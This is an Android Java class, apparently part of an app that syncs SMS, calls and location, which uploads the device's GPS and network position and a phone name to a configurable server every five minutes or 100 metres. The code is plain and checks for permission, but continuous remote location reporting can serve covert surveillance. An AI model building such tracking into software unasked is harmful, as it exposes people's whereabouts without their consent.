package com.example.sms_call_sync;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.util.Log;
import androidx.core.app.ActivityCompat;

public class LocationTracker implements LocationListener {
    private static final String TAG = "LocationTracker";
    private Context context;
    private LocationManager locationManager;
    private String serverUrl;
    private String phoneName;
    private SyncManager syncManager;

    public LocationTracker(Context context, String serverUrl, String phoneName) {
        this.context = context;
        this.serverUrl = serverUrl;
        this.phoneName = phoneName;
        this.locationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
        this.syncManager = new SyncManager(context);
    }

    public void startLocationTracking() {
        if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION)
                != PackageManager.PERMISSION_GRANTED) {
            Log.w(TAG, "Location permission not granted");
            return;
        }

        Log.d(TAG, "Starting location tracking");
        // Request location updates every 5 minutes (300000ms) or 100 meters
        try {
            locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 300000, 100, this);
            locationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 300000, 100, this);
            Log.d(TAG, "Location updates requested");
        } catch (Exception e) {
            Log.e(TAG, "Error starting location tracking: " + e.getMessage());
        }
    }

    public void stopLocationTracking() {
        Log.d(TAG, "Stopping location tracking");
        try {
            locationManager.removeUpdates(this);
        } catch (Exception e) {
            Log.e(TAG, "Error stopping location tracking: " + e.getMessage());
        }
    }

    @Override
    public void onLocationChanged(Location location) {
        Log.d(TAG, "Location changed: " + location.getLatitude() + ", " + location.getLongitude());
        sendLocationToServer(location);
    }

    @Override
    public void onStatusChanged(String provider, int status, Bundle extras) {
        Log.d(TAG, "Location provider status changed: " + provider + " status: " + status);
    }

    @Override
    public void onProviderEnabled(String provider) {
        Log.d(TAG, "Location provider enabled: " + provider);
    }

    @Override
    public void onProviderDisabled(String provider) {
        Log.d(TAG, "Location provider disabled: " + provider);
    }

    private void sendLocationToServer(Location location) {
        Log.d(TAG, "Sending location to server");
        syncManager.syncLocation(serverUrl, phoneName, location.getLatitude(), location.getLongitude());
    }
}
